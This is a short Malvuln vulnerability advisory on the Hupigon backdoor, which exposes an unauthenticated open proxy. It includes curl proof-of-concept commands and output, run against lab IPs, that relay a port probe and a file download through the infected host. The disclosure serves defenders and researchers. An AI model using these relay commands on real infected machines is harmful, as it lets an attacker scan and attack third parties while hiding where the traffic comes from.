Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/79affcb4051d36dde3d1543a4fd88368.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aiss
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 79affcb4051d36dde3d1543a4fd88368
Vuln ID: MVID-2021-0270
Dropped files: Hacker.com.cn.exe
Disclosure: 07/03/2021

Exploit/PoC:
Scan port 21)

curl  http://192.168.18.129:8080 -H "Host: 192.168.18.128:21" -v
 Rebuilt URL to: http://192.168.18.129:8080/
   Trying 192.168.18.129...
 TCP_NODELAY set
 Connected to 192.168.18.129 (192.168.18.129) port 8080 (#0)
 GET / HTTP/1.1
 Host: 192.168.18.128:21
 User-Agent: curl/7.55.1
 Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl  http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" -v --out DOOM.exe

* Trying 192.168.18.129...

 GET /DOOM.exe HTTP/1.1
 Host: 192.168.18.128
 User-Agent: curl/7.55.1
 Accept: */*

 HTTP 1.0, assume close after body
 HTTP/1.0 200 OK
 Server: SimpleHTTP/0.6 Python/2.7.6
 Date: Fri, 02 Jul 2021 02:03:28 GMT
 Content-type: application/x-msdos-program
 Content-Length: 103533
 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [102194 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01  927k
* Closing connection 0


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